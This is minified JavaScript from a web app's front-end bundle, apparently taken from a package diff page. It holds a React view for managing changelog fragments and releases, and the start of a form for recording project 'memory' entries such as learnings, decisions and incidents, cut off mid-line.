| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{B as r,Ot as i,tt as a}from"./ui-primitives-C8uJIJg4.js";import{i as o,o as s,r as c,s as l,u}from"./theme-pTuib_xY.js";import{B as d,D as f,F as p,G as m,H as h,L as g,M as ee,N as _,P as v,R as te,T as ne,U as re,V as y,W as b,Z as x,_ as S,b as ie,c as C,d as w,et as ae,f as T,g as E,h as D,j as oe,l as O,nt as k,p as A,tt as j,u as M,w as N,y as P}from"./index-Db_ww4LG.js";import{t as se}from"./layout-QiuZ_k5v.js";var F=e(t(),1),I=n(),L=`text-[10px] font-medium tracking-widest uppercase text-muted-foreground`;function R(e){switch(e){case`added`:return s(`done`);case`changed`:return s(`doing`);case`fixed`:return s(`review`);case`removed`:return s(`blocked`);case`security`:return o(`error`);default:return s(`backlog`)}}function ce(e,t){let n=null;for(let t of e){let e=/^v?(\d+)\.(\d+)\.(\d+)/.exec(t.version);if(!e)continue;let r=[Number(e[1]),Number(e[2]),Number(e[3])];(n?r[0]-n[0]||r[1]-n[1]||r[2]-n[2]:1)>0&&(n=r)}return n?t.some(e=>[`added`,`removed`,`deprecated`].includes(e.type))?`${n[0]}.${n[1]+1}.0`:`${n[0]}.${n[1]}.${n[2]+1}`:`0.1.0`}function z(e){return e instanceof Error?e.message:String(e)}function B({record:e,selected:t,onSelect:n}){let r=e.kind===`release`?`release`:e.type,i=e.kind===`release`?`var(--primary)`:R(e.type),a=e.kind===`release`?`${e.fragments.length} fragment${e.fragments.length===1?``:`s`} · ${e.date}`:e.area;return(0,I.jsx)(N,{asChild:!0,variant:`outline`,size:`sm`,children:(0,I.jsxs)(`button`,{type:`button`,"aria-current":t?`true`:void 0,onClick:n,className:u(`flex-col flex-nowrap items-stretch gap-1 px-2.5 py-2 text-left shadow-xs`,t?`border-ring bg-accent`:`bg-card hover:border-ring`),children:[(0,I.jsxs)(`span`,{className:`flex items-baseline gap-2`,children:[(0,I.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:e.id}),(0,I.jsx)(`span`,{className:`font-mono text-[10px]`,style:{color:i},children:r}),(0,I.jsx)(`span`,{className:`flex-1`}),(0,I.jsx)(`span`,{className:`max-w-[170px] truncate font-mono text-[10px] text-muted-foreground/70`,children:a})]}),(0,I.jsx)(`span`,{className:`text-sm leading-snug font-normal`,children:e.title})]})})}function V({label:e,records:t,selectedId:n,onSelect:r}){return t.length?(0,I.jsxs)(`div`,{role:`group`,"aria-label":e,className:`flex flex-col gap-1.5 pt-4`,children:[(0,I.jsxs)(`span`,{className:L,children:[e,` · `,t.length]}),t.map(e=>(0,I.jsx)(B,{record:e,selected:e.id===n,onSelect:()=>r(e.id)},e.id))]}):null}function H({id:e,title:t,relation:n,disabled:r,onOpen:i}){return(0,I.jsx)(N,{asChild:!0,variant:`outline`,size:`sm`,children:(0,I.jsxs)(`button`,{type:`button`,disabled:r,onClick:i,className:`flex-nowrap gap-2 bg-card px-2.5 py-1.5 text-left shadow-xs hover:border-ring disabled:pointer-events-none disabled:opacity-55`,children:[(0,I.jsx)(`span`,{className:`shrink-0 font-mono text-[11px] text-muted-foreground`,children:e}),(0,I.jsx)(`span`,{className:`min-w-0 flex-1 truncate text-[12.5px]`,children:t}),n?(0,I.jsx)(ae,{variant:`outline`,className:`shrink-0 font-mono text-[10px] font-normal text-muted-foreground`,children:n}):null]})})}function U({label:e,links:t,onOpen:n}){return t.length?(0,I.jsxs)(`div`,{className:`flex flex-col gap-2`,children:[(0,I.jsx)(`span`,{className:L,children:e}),t.map(t=>(0,I.jsx)(H,{id:t.id,title:t.title,relation:t.relation,disabled:t.disabled,onOpen:()=>n(t.id)},`${e}-${t.id}`))]}):null}function W(e){return e.map(e=>({id:e.id,title:e.title||`Missing record`,relation:e.relation,disabled:!e.exists&&!e.title}))}function le({schema:e,areas:t,onClose:n,onCreated:r}){let[i,a]=(0,F.useState)({title:``,type:e.defaults.type,area:t[0]||`general`,visibility:e.defaults.visibility,body:``}),[o,s]=(0,F.useState)(!1),[c,u]=(0,F.useState)(``),d=(e,t)=>a(n=>({...n,[e]:t})),f=async()=>{s(!0);try{r((await m.createChange(i)).record)}catch(e){u(z(e))}finally{s(!1)}};return(0,I.jsx)(C,{open:!0,onOpenChange:e=>{e||n()},children:(0,I.jsxs)(O,{onOpenAutoFocus:e=>e.preventDefault(),children:[(0,I.jsxs)(T,{children:[(0,I.jsx)(A,{children:`New change fragment`}),(0,I.jsx)(M,{children:`Record one user- or operator-meaningful change.`})]}),(0,I.jsxs)(S,{children:[(0,I.jsx)(P,{htmlFor:`new-fragment-title`,children:`Title`}),(0,I.jsx)(x,{id:`new-fragment-title`,autoFocus:!0,required:!0,maxLength:120,value:i.title,onChange:e=>d(`title`,e.target.value)})]}),(0,I.jsxs)(`div`,{className:`grid grid-cols-3 gap-2.5`,children:[(0,I.jsxs)(S,{children:[(0,I.jsx)(P,{htmlFor:`new-fragment-type`,children:`Type`}),(0,I.jsx)(D,{id:`new-fragment-type`,value:i.type,onChange:e=>d(`type`,e.target.value),children:e.types.map(e=>(0,I.jsx)(E,{value:e,children:e},e))})]}),(0,I.jsxs)(S,{children:[(0,I.jsx)(P,{htmlFor:`new-fragment-area`,children:`Area`}),(0,I.jsx)(D,{id:`new-fragment-area`,value:i.area,onChange:e=>d(`area`,e.target.value),children:t.map(e=>(0,I.jsx)(E,{value:e,children:e},e))})]}),(0,I.jsxs)(S,{children:[(0,I.jsx)(P,{htmlFor:`new-fragment-visibility`,children:`Visibility`}),(0,I.jsx)(D,{id:`new-fragment-visibility`,value:i.visibility,onChange:e=>d(`visibility`,e.target.value),children:e.visibilities.map(e=>(0,I.jsx)(E,{value:e,children:e},e))})]})]}),(0,I.jsxs)(S,{children:[(0,I.jsx)(P,{htmlFor:`new-fragment-details`,children:`Details`}),(0,I.jsx)(_,{id:`new-fragment-details`,rows:5,value:i.body,onChange:e=>d(`body`,e.target.value)})]}),c?(0,I.jsx)(j,{variant:`destructive`,"aria-live":`polite`,children:(0,I.jsx)(k,{children:c})}):null,(0,I.jsxs)(w,{children:[(0,I.jsx)(l,{type:`button`,variant:`outline`,onClick:n,children:`Cancel`}),(0,I.jsx)(l,{type:`button`,disabled:o||!i.title.trim(),onClick:()=>void f(),children:o?`Saving…`:`Create fragment`})]})]})})}function ue({preview:e,suggestedVersion:t,onClose:n,onReleased:r}){let[i,a]=(0,F.useState)(t),[o,s]=(0,F.useState)(``),[c,u]=(0,F.useState)(!1),[d,f]=(0,F.useState)(``),p=async()=>{u(!0);try{await m.createRelease({version:i,title:o||void 0,fragmentIds:e.fragments.map(e=>e.id)}),r()}catch(e){f(z(e))}finally{u(!1)}};return(0,I.jsx)(C,{open:!0,onOpenChange:e=>{e||n()},children:(0,I.jsxs)(O,{className:`flex max-h-[85vh] flex-col sm:max-w-[640px]`,children:[(0,I.jsxs)(T,{children:[(0,I.jsx)(A,{children:`Release preparation`}),(0,I.jsxs)(M,{children:[e.fragments.length,` unreleased fragment`,e.fragments.length===1?``:`s`,` selected.`]})]}),(0,I.jsxs)(`div`,{className:`flex min-h-0 flex-1 flex-col gap-4 overflow-y-auto`,children:[(0,I.jsxs)(`div`,{className:`grid grid-cols-[150px_1fr] gap-2.5`,children:[(0,I.jsxs)(S,{children:[(0,I.jsx)(P,{htmlFor:`release-version`,children:`Version`}),(0,I.jsx)(x,{id:`release-version`,className:`font-mono`,placeholder:`2.4.0`,value:i,onChange:e=>a(e.target.value)})]}),(0,I.jsxs)(S,{children:[(0,I.jsx)(P,{htmlFor:`release-title`,children:`Release title`}),(0,I.jsx)(x,{id:`release-title`,placeholder:`Optional curated title`,value:o,onChange:e=>s(e.target.value)})]})]}),e.groups.map(e=>(0,I.jsxs)(`div`,{className:`flex flex-col gap-1.5`,children:[(0,I.jsxs)(`span`,{className:L,style:{color:R(e.type)},children:[e.type,` · `,e.fragments.length]}),e.fragments.map(e=>(0,I.jsxs)(`span`,{className:`flex items-baseline gap-2 text-[12.5px]`,children:[(0,I.jsx)(`span`,{className:`shrink-0 font-mono text-[11px] text-muted-foreground`,children:e.id}),(0,I.jsx)(`span`,{className:`min-w-0 truncate`,children:e.title}),(0,I.jsx)(`span`,{className:`flex-1`}),(0,I.jsx)(`span`,{className:`font-mono text-[10px] text-muted-foreground/70`,children:e.area})]},e.id))]},e.type)),(0,I.jsxs)(`div`,{className:`flex flex-col gap-1.5`,children:[(0,I.jsx)(`span`,{className:L,children:`release notes preview`}),(0,I.jsx)(`div`,{className:`max-h-[220px] overflow-y-auto rounded-md border bg-background px-3 py-1`,children:(0,I.jsx)(ie,{source:e.markdown||`No release notes to render.`})})]}),d?(0,I.jsx)(j,{variant:`destructive`,"aria-live":`polite`,children:(0,I.jsx)(k,{children:d})}):null]}),(0,I.jsxs)(w,{children:[(0,I.jsx)(l,{type:`button`,variant:`outline`,onClick:n,children:`Cancel`}),(0,I.jsx)(l,{type:`button`,disabled:c||!i.trim()||!e.fragments.length,onClick:()=>void p(),children:c?`Releasing…`:`Create release`})]})]})})}function de({record:e,schema:t,areas:n,onSaved:r}){let[i,a]=(0,F.useState)({title:e.title,type:e.type,area:e.area,visibility:e.visibility}),[s,c]=(0,F.useState)(!1),[u,f]=(0,F.useState)(``),p=(e,t)=>a(n=>({...n,[e]:t})),g={};for(let t of[`title`,`type`,`area`,`visibility`])i[t]!==e[t]&&(g[t]=i[t]);let ee=Object.keys(g).length>0,_=n.includes(e.area)?n:[e.area,...n],v=async()=>{c(!0);try{let t=await m.patchChange(e.id,g,e.revision);f(``),r(t.record)}catch(e){f(z(e))}finally{c(!1)}};return(0,I.jsxs)(d,{className:`gap-2.5 rounded-lg py-3 shadow-xs`,children:[(0,I.jsx)(re,{className:`px-3`,children:(0,I.jsx)(b,{className:L,children:`edit fragment`})}),(0,I.jsxs)(y,{className:`flex flex-col gap-2.5 px-3`,children:[(0,I.jsxs)(S,{children:[(0,I.jsx)(P,{htmlFor:`edit-fragment-title`,children:`Title`}),(0,I.jsx)(x,{id:`edit-fragment-title`,maxLength:120,value:i.title,onChange:e=>p(`title`,e.target.value)})]}),(0,I.jsxs)(`div`,{className:`grid grid-cols-3 gap-2.5`,children:[(0,I.jsxs)(S,{children:[(0,I.jsx)(P,{htmlFor:`edit-fragment-type`,children:`Type`}),(0,I.jsx)(D,{id:`edit-fragment-type`,value:i.type,onChange:e=>p(`type`,e.target.value),children:t.types.map(e=>(0,I.jsx)(E,{value:e,children:e},e))})]}),(0,I.jsxs)(S,{children:[(0,I.jsx)(P,{htmlFor:`edit-fragment-area`,children:`Area`}),(0,I.jsx)(D,{id:`edit-fragment-area`,value:i.area,onChange:e=>p(`area`,e.target.value),children:_.map(e=>(0,I.jsx)(E,{value:e,children:e},e))})]}),(0,I.jsxs)(S,{children:[(0,I.jsx)(P,{htmlFor:`edit-fragment-visibility`,children:`Visibility`}),(0,I.jsx)(D,{id:`edit-fragment-visibility`,value:i.visibility,onChange:e=>p(`visibility`,e.target.value),children:t.visibilities.map(e=>(0,I.jsx)(E,{value:e,children:e},e))})]})]})]}),(0,I.jsxs)(h,{className:`gap-2.5 px-3`,children:[u?(0,I.jsx)(`span`,{className:`flex-1 text-xs`,style:{color:o(`error`)},"aria-live":`polite`,children:u}):(0,I.jsx)(`span`,{className:`flex-1`}),(0,I.jsx)(l,{type:`button`,variant:`outline`,size:`sm`,disabled:s||!ee||!i.title.trim(),onClick:()=>void v(),children:s?`Saving…`:`Save changes`})]})]})}function G({selectedId:e,onSelect:t,onOpenRecord:n,schema:s,areas:h,search:_,onSearchChange:re}){let[y,b]=(0,F.useState)([]),[x,S]=(0,F.useState)(``),[C,w]=(0,F.useState)(``),[T,E]=(0,F.useState)(!0),[D,O]=(0,F.useState)(``),[A,M]=(0,F.useState)(``),[N,P]=(0,F.useState)(!1),[L,B]=(0,F.useState)(null),[H,G]=(0,F.useState)(`public`),[K,q]=(0,F.useState)({content:``,error:``,loading:!0}),[fe,pe]=(0,F.useState)(0),me=()=>pe(e=>e+1);te(e=>{g(e,`/changelog/`)&&me()}),(0,F.useEffect)(()=>{let e=!1,t=async()=>{E(!0);try{let t=await m.changelog(_.trim(),{state:x||void 0,visibility:C||void 0});if(e)return;b(t.records),O(``)}catch(t){e||O(z(t))}finally{e||E(!1)}},n=window.setTimeout(()=>void t(),_?180:0);return()=>{e=!0,window.clearTimeout(n)}},[_,x,C,fe]),(0,F.useEffect)(()=>{let e=!1;return q(e=>({...e,loading:!0})),m.renderedChangelog(H).then(t=>{e||q({content:t.content,error:``,loading:!1})}).catch(t=>{e||q({content:``,error:z(t),loading:!1})}),()=>{e=!0}},[H,fe]);let J=(0,F.useMemo)(()=>[...y].sort((e,t)=>{if(e.kind!==t.kind)return e.kind===`change`?-1:1;if(e.kind===`release`&&t.kind===`release`){let n=t.date.localeCompare(e.date);return n===0?t.id.localeCompare(e.id):n}return String(t.updated||``).localeCompare(String(e.updated||``))}),[y]),Y=(0,F.useMemo)(()=>new Map(y.map(e=>[e.id,e])),[y]),X=(0,F.useMemo)(()=>J.filter(e=>e.kind===`change`&&!e.released),[J]),he=(0,F.useMemo)(()=>J.filter(e=>e.kind===`change`&&e.released),[J]),Z=(0,F.useMemo)(()=>J.filter(e=>e.kind===`release`),[J]),ge=(0,F.useMemo)(()=>ce(Z,X),[Z,X]),Q=e?Y.get(e):void 0,$=e=>{if(Y.has(e)){t(e);return}if(/^(CHG|REL)-/.test(e)){S(``),w(``),t(e);return}n(e)},_e=()=>{M(``),m.releasePreview().then(B).catch(e=>M(z(e)))},ve=Q?.issues.some(e=>e.severity===`error`)?`destructive`:`default`,ye=(0,I.jsxs)(l,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>P(!0),children:[(0,I.jsx)(a,{"aria-hidden":`true`}),`New fragment`]});return(0,I.jsxs)(`div`,{className:`flex min-h-0 flex-1`,children:[(0,I.jsxs)(`div`,{className:u(`w-full shrink-0 flex-col border-r lg:flex lg:w-[400px]`,Q?`hidden`:`flex`),children:[(0,I.jsxs)(`div`,{className:`flex flex-col gap-2.5 p-3.5 pb-0`,children:[(0,I.jsxs)(d,{className:`flex-row items-center gap-2.5 border-primary bg-primary/10 p-3`,children:[(0,I.jsxs)(`span`,{className:`flex min-w-0 flex-1 flex-col gap-0.5`,children:[(0,I.jsxs)(`span`,{className:`text-[13px] font-semibold`,children:[X.length,` unpublished fragment`,X.length===1?``:`s`]}),(0,I.jsxs)(`span`,{className:`font-mono text-[10.5px] text-muted-foreground`,children:[`next: `,ge,` ·`,` `,s.releaseStrategy]})]}),(0,I.jsx)(l,{type:`button`,size:`sm`,className:`whitespace-nowrap`,onClick:_e,children:`Prepare release`})]}),A?(0,I.jsx)(j,{variant:`destructive`,"aria-live":`polite`,children:(0,I.jsx)(k,{children:A})}):null,(0,I.jsxs)(v,{before:(0,I.jsx)(ee,{scope:`records`,value:_,label:`Search history`,onChange:re}),children:[(0,I.jsx)(p,{label:`state`,value:x,options:[{value:`unreleased`},{value:`released`}],onChange:S}),(0,I.jsx)(p,{label:`visibility`,value:C,options:s.visibilities.map(e=>({value:e})),onChange:w})]})]}),(0,I.jsx)(`div`,{className:`min-h-0 flex-1 overflow-y-auto px-3.5 pb-6 [mask-image:linear-gradient(to_bottom,black_calc(100%-24px),transparent)]`,children:T?(0,I.jsx)(`div`,{"aria-busy":`true`,className:`flex flex-col gap-2 pt-4`,children:Array.from({length:6},(e,t)=>(0,I.jsx)(`div`,{className:`h-[52px] animate-pulse rounded-md bg-muted`},t))}):D?(0,I.jsx)(j,{variant:`destructive`,className:`mt-4`,"aria-live":`polite`,children:(0,I.jsx)(k,{children:D})}):J.length?(0,I.jsxs)(I.Fragment,{children:[(0,I.jsx)(V,{label:`unpublished`,records:X,selectedId:e,onSelect:t}),(0,I.jsx)(V,{label:`releases`,records:Z,selectedId:e,onSelect:t}),(0,I.jsx)(V,{label:`published fragments`,records:he,selectedId:e,onSelect:t})]}):(0,I.jsx)(ne,{className:`mt-4 gap-1 p-4 md:p-4`,children:(0,I.jsx)(f,{className:`text-xs`,children:`No history records match the filters.`})})})]}),(0,I.jsx)(`div`,{className:u(`min-w-0 flex-1 overflow-y-auto px-6 py-5 sm:px-8.5`,Q?`block`:`hidden lg:block`),children:(0,I.jsx)(`div`,{className:se,children:Q?(0,I.jsxs)(I.Fragment,{children:[(0,I.jsxs)(l,{type:`button`,variant:`ghost`,size:`sm`,className:`-ml-2 mb-2 lg:hidden`,onClick:()=>t(``),children:[(0,I.jsx)(i,{"aria-hidden":`true`}),`All history`]}),(0,I.jsxs)(`div`,{className:`flex flex-wrap items-center gap-x-2 gap-y-1 font-mono text-[11px]`,children:[(0,I.jsx)(`span`,{className:`whitespace-nowrap text-primary`,children:Q.id}),(0,I.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,I.jsx)(`span`,{className:`text-muted-foreground/70`,children:Q.kind}),(0,I.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),Q.kind===`change`?(0,I.jsxs)(I.Fragment,{children:[(0,I.jsx)(`span`,{style:{color:R(Q.type)},children:Q.type}),(0,I.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,I.jsx)(`span`,{className:`text-muted-foreground`,children:Q.area}),(0,I.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,I.jsx)(`span`,{className:`text-muted-foreground`,children:Q.visibility}),(0,I.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,I.jsx)(`span`,{style:{color:c(Q.released?`released`:`unreleased`)},children:Q.released?`released`:`unreleased`}),Q.updated?(0,I.jsxs)(I.Fragment,{children:[(0,I.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,I.jsx)(`span`,{className:`text-muted-foreground/70`,children:Q.updated})]}):null]}):(0,I.jsxs)(I.Fragment,{children:[(0,I.jsx)(`span`,{className:`text-primary`,children:Q.version}),(0,I.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,I.jsx)(`span`,{className:`text-muted-foreground`,children:Q.date}),Q.commit?(0,I.jsxs)(I.Fragment,{children:[(0,I.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,I.jsx)(`span`,{className:`text-muted-foreground/70`,children:Q.commit})]}):null,(0,I.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,I.jsxs)(`span`,{className:`text-muted-foreground/70`,children:[Q.fragments.length,` fragment`,Q.fragments.length===1?``:`s`]})]}),(0,I.jsxs)(`span`,{className:`ml-auto flex shrink-0 items-center gap-1`,children:[ye,(0,I.jsx)(l,{type:`button`,variant:`ghost`,size:`icon-sm`,"aria-label":`Close record`,title:`Back to the derived changelog`,onClick:()=>t(``),children:(0,I.jsx)(r,{"aria-hidden":`true`})})]})]}),(0,I.jsx)(`h2`,{className:`mt-2.5 mb-1 text-[26px] leading-tight font-semibold tracking-tight [text-wrap:pretty]`,children:Q.title}),(0,I.jsx)(`div`,{className:`font-mono text-[10.5px] break-all text-muted-foreground/70`,children:Q.path}),Q.issues.length>0?(0,I.jsx)(j,{variant:ve,className:`mt-3.5`,children:(0,I.jsx)(k,{className:`w-full gap-1`,children:Q.issues.map(e=>(0,I.jsxs)(`span`,{className:`flex items-baseline gap-2`,children:[(0,I.jsx)(`span`,{className:`shrink-0 font-mono text-[10.5px]`,style:{color:o(e.severity)},children:e.severity}),(0,I.jsx)(`span`,{children:e.message})]},`${e.code}-${e.message}`))})}):null,(0,I.jsx)(`div`,{className:`mt-4.5`,children:(0,I.jsx)(ie,{source:Q.body||`No additional notes.`,onOpen:$})}),(0,I.jsxs)(`div`,{className:`mt-5.5 flex flex-col gap-3.5`,children:[Q.kind===`change`?(0,I.jsx)(U,{label:`shipped in`,links:(Q.releaseIds||[]).map(e=>({id:e,title:Y.get(e)?.title||`Open release`,relation:`release`})),onOpen:$}):(0,I.jsx)(U,{label:`fragments · ${Q.fragments.length}`,links:Q.fragments.map(e=>{let t=Y.get(e);return{id:e,title:t?.title||`Open fragment`,relation:t?.kind===`change`?t.type:void 0}}),onOpen:$}),(0,I.jsx)(U,{label:`links to`,links:W(Q.outgoing),onOpen:$}),(0,I.jsx)(U,{label:`backlinks`,links:W(Q.incoming),onOpen:$})]}),Q.kind===`change`?(0,I.jsx)(`div`,{className:`mt-5.5`,children:(0,I.jsx)(de,{record:Q,schema:s,areas:h,onSaved:e=>b(t=>t.map(t=>t.id===e.id?e:t))},`${Q.id}:${Q.revision}`)}):null]}):(0,I.jsxs)(I.Fragment,{children:[(0,I.jsxs)(`div`,{className:`flex flex-wrap items-center gap-x-2.5 gap-y-2 border-b pb-3`,children:[(0,I.jsx)(`span`,{className:`text-[13px] font-semibold`,children:`Derived changelog`}),(0,I.jsxs)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:[`visibility `,H,` · CHANGELOG.md`]}),(0,I.jsxs)(`span`,{className:`ml-auto flex flex-wrap items-center gap-2.5`,children:[(0,I.jsx)(oe,{children:s.visibilities.map(e=>(0,I.jsx)(l,{type:`button`,size:`sm`,variant:H===e?`default`:`outline`,"aria-pressed":H===e,onClick:()=>G(e),children:e},e))}),(0,I.jsx)(ae,{variant:`outline`,className:`rounded-md font-mono text-[10.5px] font-normal whitespace-nowrap text-muted-foreground`,children:`render --write`}),ye]})]}),K.error?(0,I.jsx)(j,{variant:`destructive`,className:`mt-4`,"aria-live":`polite`,children:(0,I.jsx)(k,{children:K.error})}):(0,I.jsx)(`pre`,{className:`mt-4 font-mono text-xs leading-[1.75] whitespace-pre-wrap text-muted-foreground`,"aria-busy":K.loading||void 0,children:K.loading&&!K.content?`Rendering…`:K.content||`Nothing to render yet — create the first change fragment.`})]})})}),N?(0,I.jsx)(le,{schema:s,areas:h,onClose:()=>P(!1),onCreated:e=>{P(!1),b(t=>[e,...t]),t(e.id)}}):null,L?(0,I.jsx)(ue,{preview:L,suggestedVersion:ge,onClose:()=>B(null),onReleased:()=>{B(null),me()}}):null]})}export{G as HistoryView}; |
Sorry, the diff of this file is too big to display
Sorry, the diff of this file is too big to display
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{et as r,nt as i,pt as a,tt as o}from"./ui-primitives-C8uJIJg4.js";import{i as s,r as c,s as l,u}from"./theme-pTuib_xY.js";import{B as d,C as f,D as p,F as m,G as h,L as g,M as _,N as v,P as y,R as ee,T as te,U as b,V as x,Z as S,_ as C,b as w,c as T,d as E,et as D,f as O,g as k,h as A,l as j,nt as M,p as N,tt as P,w as F,y as I}from"./index-Db_ww4LG.js";var L=e(t(),1),R=n(),z=[`low`,`medium`,`high`],B=[`critical`,`high`,`medium`,`low`],V=`[mask-image:linear-gradient(to_bottom,black_calc(100%_-_24px),transparent)]`;function H(e){return e&&e[0].toUpperCase()+e.slice(1)}function U(e,t){return`${e} ${t}${e===1?``:`s`}`}function W(e){return{category:e===`learnings`||e===`decisions`,confidence:e===`learnings`,severity:e===`incidents`,expires:e===`context`,review_after:e===`context`}}function G(e){let t=[];switch(e.collection){case`learnings`:t.push(e.confidence,e.category,e.occurrences==null?null:`${e.occurrences}×`);break;case`decisions`:e.superseded_by?.length?t.push(`superseded by ${e.superseded_by.join(`, `)}`):e.supersedes?.length?t.push(`supersedes ${e.supersedes.join(`, `)}`):t.push(e.category);break;case`incidents`:t.push(e.severity,e.corrective_actions?.length?U(e.corrective_actions.length,`corrective action`):null);break;case`conventions`:t.push(e.owners?.length?e.owners.join(`, `):`no owner`);break;case`context`:t.push(e.expires?`expires ${e.expires}`:null,e.review_after?`review after ${e.review_after}`:null);break;default:t.push(e.category,e.severity)}return t.filter(Boolean).join(` · `)}function K({id:e,label:t,children:n}){return(0,R.jsxs)(C,{className:`gap-1.5 [&_[data-slot=native-select-wrapper]]:w-full`,children:[(0,R.jsx)(I,{htmlFor:e,children:t}),n]})}function q({record:e,selected:t,onSelect:n}){let r=G(e),i=e.lifecycleIssues?.length||0;return(0,R.jsx)(F,{asChild:!0,variant:`outline`,size:`sm`,className:`w-full flex-none flex-col items-stretch gap-1 rounded-lg bg-background px-2.5 py-2 text-left shadow-xs hover:border-ring aria-[current=true]:border-ring aria-[current=true]:bg-accent`,children:(0,R.jsxs)(`button`,{type:`button`,"aria-current":t?`true`:void 0,onClick:n,children:[(0,R.jsxs)(`span`,{className:`flex items-center justify-between gap-2`,children:[(0,R.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:e.id}),(0,R.jsxs)(D,{variant:`outline`,className:`h-[18px] gap-1 rounded-md px-1.5 font-mono text-[10px] font-medium`,children:[(0,R.jsx)(`span`,{className:`size-[5px] shrink-0 rounded-full`,style:{backgroundColor:c(e.status)},"aria-hidden":`true`}),e.status]})]}),(0,R.jsx)(`span`,{className:`text-[13px] font-medium leading-snug`,children:e.title}),r||i?(0,R.jsxs)(`span`,{className:`font-mono text-[10.5px] text-muted-foreground`,children:[r,r&&i?` · `:null,i?(0,R.jsx)(`span`,{style:{color:s(`warning`)},children:U(i,`lifecycle warning`)}):null]}):null]})})}function J({issues:e,kind:t}){return e.length?(0,R.jsx)(R.Fragment,{children:e.map(e=>(0,R.jsx)(P,{variant:e.severity===`error`?`destructive`:`default`,className:`px-3 py-2`,children:(0,R.jsxs)(M,{className:`flex flex-wrap items-baseline gap-x-2 gap-y-0.5`,children:[(0,R.jsx)(`span`,{className:`font-mono text-[10.5px]`,style:{color:s(e.severity)},children:t===`lifecycle`?`lifecycle`:e.severity}),(0,R.jsx)(`span`,{children:e.message})]})},`${t}-${e.code}-${e.message}`))}):null}function Y({label:e,links:t,onOpen:n}){return t.length?(0,R.jsxs)(`div`,{className:`flex flex-col gap-1.5`,children:[(0,R.jsx)(`span`,{className:`text-[10px] font-medium uppercase tracking-wide text-muted-foreground`,children:e}),t.map(t=>{let r=!t.exists&&!t.title;return(0,R.jsx)(F,{asChild:!0,variant:`outline`,size:`sm`,className:`gap-2 rounded-lg px-2.5 py-2 text-left hover:border-ring disabled:pointer-events-none disabled:opacity-50`,children:(0,R.jsxs)(`button`,{type:`button`,disabled:r,onClick:()=>n(t.id),children:[(0,R.jsx)(`span`,{className:`w-[78px] shrink-0 truncate font-mono text-[11px] font-medium`,children:t.id}),(0,R.jsx)(`span`,{className:`min-w-0 flex-1 truncate text-xs text-muted-foreground`,children:t.title||`Missing record`}),(t.relations??[t.relation||t.kind]).filter(Boolean).map(e=>(0,R.jsx)(D,{variant:`secondary`,className:`h-[18px] rounded-md px-1.5 font-mono text-[10px] font-medium`,children:e},e))]})},`${e}-${t.id}`)})]}):null}function X({message:e}){return e?(0,R.jsx)(P,{variant:`destructive`,className:`px-3 py-2`,children:(0,R.jsx)(M,{children:e})}):null}function Z({schema:e,initialCollection:t,onClose:n,onCreated:r}){let i=e.collections.find(e=>e.id===t)||e.collections[0],[a,o]=(0,L.useState)({collection:i?.id||`learnings`,status:i?.statuses[0]||`active`,title:``,category:``,confidence:``,severity:``,expires:``,body:``}),[s,c]=(0,L.useState)(!1),[u,d]=(0,L.useState)(``),p=e.collections.find(e=>e.id===a.collection),m=W(a.collection),g=(e,t)=>o(n=>({...n,[e]:t})),_=t=>{let n=e.collections.find(e=>e.id===t);o(e=>({...e,collection:t,status:n?.statuses[0]||`active`}))},y=async()=>{c(!0);try{r((await h.createMemory({collection:a.collection,title:a.title,status:a.status,body:a.body,category:a.category||void 0,confidence:a.confidence||void 0,severity:a.severity||void 0,expires:a.expires||void 0})).record)}catch(e){d(e instanceof Error?e.message:String(e))}finally{c(!1)}};return(0,R.jsx)(T,{open:!0,onOpenChange:e=>{e||n()},children:(0,R.jsxs)(j,{className:`sm:max-w-[520px]`,"aria-describedby":void 0,children:[(0,R.jsx)(O,{children:(0,R.jsxs)(N,{children:[`New `,p?.singular||`record`]})}),(0,R.jsxs)(`div`,{className:`-m-1 flex max-h-[65vh] flex-col gap-3 overflow-y-auto p-1`,children:[(0,R.jsxs)(`div`,{className:`grid grid-cols-2 gap-2.5`,children:[(0,R.jsx)(K,{id:`memory-create-collection`,label:`Collection`,children:(0,R.jsx)(A,{id:`memory-create-collection`,value:a.collection,onChange:e=>_(e.target.value),children:e.collections.map(e=>(0,R.jsx)(k,{value:e.id,children:e.id},e.id))})}),(0,R.jsx)(K,{id:`memory-create-status`,label:`Status`,children:(0,R.jsx)(A,{id:`memory-create-status`,value:a.status,onChange:e=>g(`status`,e.target.value),children:(p?.statuses||[]).map(e=>(0,R.jsx)(k,{value:e,children:e},e))})})]}),(0,R.jsx)(K,{id:`memory-create-title`,label:`Title`,children:(0,R.jsx)(S,{id:`memory-create-title`,autoFocus:!0,required:!0,maxLength:120,value:a.title,onChange:e=>g(`title`,e.target.value)})}),m.category||m.confidence||m.severity||m.expires?(0,R.jsxs)(`div`,{className:`grid grid-cols-2 gap-2.5`,children:[m.category?(0,R.jsx)(K,{id:`memory-create-category`,label:`Category`,children:(0,R.jsx)(S,{id:`memory-create-category`,value:a.category,onChange:e=>g(`category`,e.target.value)})}):null,m.confidence?(0,R.jsx)(K,{id:`memory-create-confidence`,label:`Confidence`,children:(0,R.jsxs)(A,{id:`memory-create-confidence`,value:a.confidence,onChange:e=>g(`confidence`,e.target.value),children:[(0,R.jsx)(k,{value:``,children:`not set`}),z.map(e=>(0,R.jsx)(k,{value:e,children:e},e))]})}):null,m.severity?(0,R.jsx)(K,{id:`memory-create-severity`,label:`Severity`,children:(0,R.jsxs)(A,{id:`memory-create-severity`,value:a.severity,onChange:e=>g(`severity`,e.target.value),children:[(0,R.jsx)(k,{value:``,children:`not 